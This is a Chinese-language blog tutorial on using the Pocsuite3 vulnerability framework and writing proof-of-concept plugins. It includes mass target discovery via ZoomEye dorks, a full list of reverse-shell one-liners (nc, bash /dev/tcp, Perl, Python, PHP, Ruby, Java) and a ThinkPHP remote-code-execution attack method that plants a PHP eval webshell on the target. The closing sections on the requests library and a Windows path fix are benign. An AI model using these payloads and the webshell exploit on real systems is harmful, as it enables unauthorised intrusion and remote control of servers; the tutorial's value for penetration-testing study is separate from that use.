Pocsuite使用及Poc编写

Pocsuite 使用及Poc编写


工具简介

PocSuite是由知道创宇 404 实验室编写的一款基于 python 的开源漏洞利用框架。PocSuite 包含漏洞检测和利用两种模式,可以针对特定漏洞对多个目标进行探测并返回漏洞检测及利用的结果。

下载地址: https://github.com/knownsec/pocsuite3

工具使用

Pocsuite的使用可以通过两种方式进行,一种是直接在输入命令时指定poc文件和线程数量进行探测,另外一种是设置pocsuite.ini文件命令行默认运行。

指定文件探测

举例: 使用ZoomEye搜索ecshop并使用ecshop_rce.py探测,指定线程数量为5

1
2
3
4
5
6
7
8
python3 cli.py --r pocs/ecshop_rce.py --dork ecshop  --threads 5

#--r 指定需要使用的poc文件
#--dork 指定搜索引擎搜索的内容(Zoomeye,shodan......)
#--max-page ZoomEye API 的请求翻页数(10 目标/页)
#--search-type ZoomEye API搜索类型,web 或者 host
#--vul-keyword Seebug 搜索关键词,用于在Seebug 搜索漏洞POC
#--threads 指定线程数量

verify模式

验证目标是否存在漏洞。

1
2
3
4
5
6
7
8
单个目标验证:
pocsuite -r tests/poc_example.py -u http://www.example.com/ --verify

批量文件验证:
pocsuite -r test/poc_example.py -f url.txt --verify

扫描器(使用目录下的所有Poc对目标进行测试):
pocsuite -r tests/ -u http://www.example.com --verify

attack模式

向存在漏洞的目标进行漏洞利用攻击。(用法和verify模式相同)

1
pocsuite -r tests/poc_example.py -u http://www.example.com/ --attack

配置文件默认探测

设置pocsuite.ini配置文件,命令行指定配置文件探测

【Target】

1
2
3
4
5
6
7
8
9
10
11
12
[Target]
; target url (e.g. "http://www.site.com/vuln.php?id=1")
url = ###指定探测的URL目标###

; scan multiple targets given in a textual file
url_file = ###指定探测的URL目标文件###

; load poc file from local or remote from seebug website
poc = ecshop_rce.py ###指定的POC文件###

; filter poc by keyword, e.g. cve-2021-22005
poc_keyword = ###指定的POC文件密码###

【Request】

设置请求头部,针对某些需要登录的目标地址或自主设置HTTP请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Request]
; http cookie header value
cookie =
; http host header value
host =
; http referer header value
referer =
; http user-agent header value (default random)
agent =
; use a proxy to connect to the target url
proxy =
; proxy authentication credentials (name:password)
proxy_cred =
; seconds to wait before timeout connection (default 30)
timeout =
; time out retrials times
retry =
; delay between two request of one thread
delay =
; extra headers (e.g. "key1: value1\nkey2: value2")
headers =

【Mode】

1
2
3
4
5
6
7
[Mode]
; run poc with verify mode
; run poc with attack mode
; run poc with shell mode
mode = verify

####poc需要执行的模式分为exp和verify###

【Account】

设置搜索引擎的账号密码或者Token进行登录请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[Account]
; telnet404 login user
login_user =
; telnet404 login password
login_pass =

; Shodan token
shodan_token =

; fofa user
fofa_user =
; fofa token
fofa_token =

; quake token
quake_token =

; Censys uid
censys_uid =
; Censys secret
censys_secret =

【Modules】

指定使用的搜索引擎进行查询,dork用来设置Zoomeye等搜索引擎的搜索语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[Modules]
; zoomeye dork used for search
dork =
; zoomeye dork used for search
dork_zoomeye =
; shodan dork used for search
dork_shodan =
; censys dork used for search
dork_censys =
; fofa dork used for search
dork_fofa =
; quake dork used for search
dork_quake =
; max page used in search api
max_page = 1
; search type used in zoomeye api, web or host
search_type = host
; seebug keyword used for search
vul_keyword =
; seebug ssvid number for target poc
ssvid =
; connect back host for target poc in shell mode
connect_back_host =
; connect back port for target poc in shell mode
connect_back_port =
; enable TLS listener in shell mode
enable_tls_listener = False
; compare popular web search engines
comparison = False
; whether dork is in base64 format
dork_b64 = False

【Optimization】

设置可选选项参数,如线程等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[Optimization]
; load plugins to execute
plugins =
; user defined poc scripts path
pocs_path =
; max number of concurrent network requests (default 1)
threads = 1
; automatically choose defaut choice without asking
batch =
; check install_requires
check_requires = False
; activate quiet mode, working without logger
quiet = False
; hiden sensitive information when published to the network
ppt = False
; use scapy capture flow
pcap = False
; export suricata rules, default export request and response
rule = False
; only export suricata request rule
rule_req = False
; specify the name of the export rule file
rule_filename =

执行命令:

1
python3 cli.py -c ../pocsuite.ini

插件工具

通过–plugins在后面指定插件名称,多个插件可以用,分割。

例如

–plugins html_report将会生成HTML报表格式文档。

–plugins file_record将会生成HTML报表格式文档.

Poc编写

这里以thinkphp_rce.py举例说明。

命名规则:PoC命名分成3个部分组成漏洞应用名_版本号__漏洞类型名称 文件名称中的所有字母改成小写.

参考文章:

(58条消息) 关于pocsuite下的pocs代码分析_willow_liang的博客-CSDN博客

(58条消息) POC和EXP脚本_平凡的学者的博客-CSDN博客_exp脚本

(58条消息) 使用Pocsuite3框架并编写简单PoC例子_情感博主V-CSDN博客_pocsuite3使用

方法格式使用

编写Poc主要分为Poc介绍信息模块,漏洞检测模块,漏洞利用模块,返回结果模块。

开头是对该Poc的简介,关于创建的时间、作者的名字,针对该Poc的漏洞信息和执行判断结果。

def_options(self)

该函数针对RCE类POC,需要执行相关命令。

1
2
3
4
5
6
7
8
9
10
11
def _options(self):
o = OrderedDict() ##实例化OrdereDict类对象o
payload = {
##调用REVERSE_PAYLOAD类的NC属性和BASH属性
"nc": REVERSE_PAYLOAD.NC,
"bash": REVERSE_PAYLOAD.BASH,
}
o["command"] = OptDict(selected="bash", default=payload)
##调用OPtDict()函数将bash字符串传给o的command键值

return o

上述代码中涉及到的相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class REVERSE_PAYLOAD:
NC = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f"""
NC2 = """nc -e /bin/sh {0} {1}"""
NC3 = """rm -f /tmp/p;mknod /tmp/p p && nc {0} {1} 0/tmp/p"""
BASH = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""
BASH2 = """bash -c 'sh -i >& /dev/tcp/{0}/{1} 0>&1'"""
TELNET = """rm -f /tmp/p; mknod /tmp/p p && telnet {0} {1} 0/tmp/p"""
PERL = """perl -e 'use Socket;$i="{0}";$p={1};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};'"""
PYTHON = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
PHP = """php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'"""
RUBY = """ruby -rsocket -e'f=TCPSocket.open("{0}",{1}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'"""
JAVA = """
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/{0}/{1};cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
"""
class OptDict:
def __init__(self, require=False, selected=False, default={}):
# super().__init__(default, '', require)
self.default = {}
b = ""
for k, v in default.items():
self.default[k] = v
b += "{k}:{v}\n".format(k=k, v=v)
self.selected = selected
self.require = require
self.type = "Dict"
self.__set__("", selected)

self.description = "{}\nYou can select {} ,default:{}".format(b,
repr(self.default.keys()),self.selected)

def _verify(self)

_verify()漏洞检测函数为Poc中最重要的函数,检测漏洞是否存在的逻辑关系。

1
2
3
4
5
6
7
8
9
def _verify(self):
result = {}
p = self._check(self.url)
if p:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = p[0]
result['VerifyInfo']['Postdata'] = p[1]

return self.parse_output(result)

当该poc为exp模块时,_verify()为固定写法。

1
2
3
def _verify(self):	#exp模块固定写法
output = Output(self)
result = {}

def _attack(self)

该方法为攻击模式的方法,编写对该漏洞利用的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def _attack(self):
result = {}
filename = random_str(6) + ".php"
webshell = r'''<?php echo "green day";@eval($_POST["pass"]);?>'''

p = self._check(self.url)
if p:
data = p[1]
data["vars[1][]"] = "echo%20%27{content}%27%20>%20{filename}".format(filename=filename,
content=quote(webshell))
data["vars[0]"] = "system"
vulurl = self.url + p[0]
requests.post(vulurl, data=data)
r = requests.get(self.url + "/" + filename)
if r.status_code == 200 and "green day" in r.text:
result['ShellInfo'] = {}
result['ShellInfo']['URL'] = self.url + "/" + filename
result['ShellInfo']['Content'] = webshell
if not result:
vulurl = self.url + r"/index.php?s=index/\think\template\driver\file/write&cacheFile={filename}&content={content}"
vulurl = vulurl.format(filename=filename, content=quote(webshell))
requests.get(vulurl)
r = requests.get(self.url + "/" + filename)
if r.status_code == 200 and "green day" in r.text:
result['ShellInfo'] = {}
result['ShellInfo']['URL'] = self.url + "/" + filename
result['ShellInfo']['Content'] = webshell

return self.parse_output(result)

若该poc没有攻击模式,该方法可返回_verify()方法或者不写该方法。

1
2
def _attack(self):			#注意:若该poc没有攻击模式,在_attack函数下,return self._verify(),不用再写_attack()
return self._verify()

def parse_output(self, result)

使用Output()函数判断探测结果

1
2
3
4
5
6
7
8
9

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)

上述POC中涉及到的Output类代码,通过isinstance()函数判断传入的result是否为字典类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Output(object):
def __init__(self, poc=None):
self.error_msg = tuple()
self.result = {}
self.status = OUTPUT_STATUS.FAILED
if poc:
self.url = poc.url
self.mode = poc.mode
self.vul_id = poc.vulID
self.name = poc.name
self.app_name = poc.appName
self.app_version = poc.appVersion
self.error_msg = poc.expt
def success(self, result):
assert isinstance(result, dict)
self.status = OUTPUT_STATUS.SUCCESS
self.result = result

def fail(self, error=""):
assert isinstance(error, str)
self.status = OUTPUT_STATUS.FAILED
self.error_msg = (0, error)

class OUTPUT_STATUS:
SUCCESS = 1
FAILED = 0

在使用Pocsuite的时候,我们可以用--verify参数来调用_verify方法,用--attack参数来调用_attack方法。

库的使用

Python库引用模块

1
2
3
4
5
6
7
8
9
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import requests
import random
import os
import sys
import hashlib
import string
from requests.auth import HTTPBasicAuth

requests库

pocsuite 中自带经过改装的 req,from pocsuite.api.request import req,pocsuite 中的 req 可以使用随机的 UA

requests库的七个主要方法:

对于在编写poc中常用到的几个request库的函数为get(),post()和put(),所有的函数调用格式相同。

函数格式如下:

1
r=requests.get(url,params,**kwargs)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
url: 需要爬取的网站地址。

params: 翻译过来就是参数, url中的额外参数,字典或者字节流格式,可选。

**kwargs : 12个控制访问的参数
params:字典或字节序列, 作为参数增加到url中,使用这个参数可以把一些键值对以?key1=value1&key2=value2的模式增加到url中
例如:kv = {'key1':' values', 'key2': 'values'}
r = requests.get('http:www.python123.io/ws', params=kw)

data:字典,字节序或文件对象,重点作为向服务器提供或提交资源是提交,,作为request的内容,与params不同的是,data提交的数据并不放在url链接里, 而是放在url链接对应位置的地方作为数据来存储。,它也可以接受一个字符串对象。(request.post()函数)

json:json格式的数据, json合适在相关的html,http相关的web开发中非常常见, 也是http最经常使用的数据格式, 他是作为内容部分可以向服务器提交。
例如:kv = {'key1': 'value1'}
r = requests.post('http://python123.io/ws', json=kv)

headers:字典是http的相关语,对应了向某个url访问时所发起的http的头i字段, 可以用这个字段来定义http的访问的http头,可以用来模拟任何我们想模拟的浏览器来对url发起访问。
例子: hd = {'user-agent': 'Chrome/10'}
r = requests.post('http://python123.io/ws', headers=hd)

cookies:字典或CookieJar,指的是从http中解析cookie

auth:元组,用来支持http认证功能

files:字典, 是用来向服务器传输文件时使用的字段。
例子:fs = {'files': open('data.txt', 'rb')}
r = requests.post('http://python123.io/ws', files=fs)

timeout: 用于设定超时时间, 单位为秒,当发起一个get请求时可以设置一个timeout时间, 如果在timeout时间内请求内容没有返回, 将产生一个timeout的异常。

proxies:字典, 用来设置访问代理服务器。

allow_redirects: 开关, 表示是否允许对url进行重定向, 默认为True。

stream: 开关, 指是否对获取内容进行立即下载, 默认为True。

verify:开关, 用于认证SSL证书, 默认为True。

cert: 用于设置保存本地SSL证书路径

其中response对象有以下属性:

requests库的异常

注意requests库有时会产生异常,比如网络连接错误、http错误异常、重定向异常、请求url超时异常等等。所以我们需要判断r.status_codes是否是200,在这里我们怎么样去捕捉异常呢?

这里我们可以利用r.raise_for_status() 语句去捕捉异常,该语句在方法内部判断r.status_code是否等于200,如果不等于,则抛出异常。

于是在这里我们有一个爬取网页的通用代码框架:

1
2
3
4
5
6
7
try:
r=requests.get(url,timeout=30)#请求超时时间为30秒
r.raise_for_status()#如果状态不是200,则引发异常
r.encoding=r.apparent_encoding #配置编码
return r.text
except:
return "产生异常"

Windows下Pocsuite写日志URL带冒号报错

报错描述

Windows平台使用Pocsuite,当输入的url带有:的时会报错,如下:

1
2
[WARNING] unable to create output directory 
'C:\Users\Administrator\.pocsuite\output\127.0.0.1:8080'

错误分析

原来保存日志记录会选取C:\Users\Administrator\.pocsuite\output\拼接上url地址,而windows下文件名不允许含有:,所以才会报错。

所以,不论URL是http://还是带有冒号都会报错,看来pocsuite这边在创建这个文件名的时候名没有检查文件名字是否还有特殊符号呀。

解决方法

手动改代码解决问题:反向追踪哪个文件做了创建文件夹的操作。

经查找,发现该操作代码存在于pocsuite\lib\controller\controller.py文件。

从131行代码开始,定义了一个_setRecordFiles()函数,该函数会创建文件夹。

1
2
3
4
5
6
def _setRecordFiles():
for (target, pocname, pocid, component, version, status, r_time, result) in kb.results:
if type(status) != str:
status = status[1]
target=target.replace(":","_") #这里添加了一行替换代码
outputPath = os.path.join(getUnicode(paths.POCSUITE_OUTPUT_PATH), normalizeUnicode(getUnicode(target)))

可以发现_setRecordFiles()函数从kb.results这个数据实例里面取值。

我们用target=target.replace(":","_")来将:替换成"_",问题解决。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信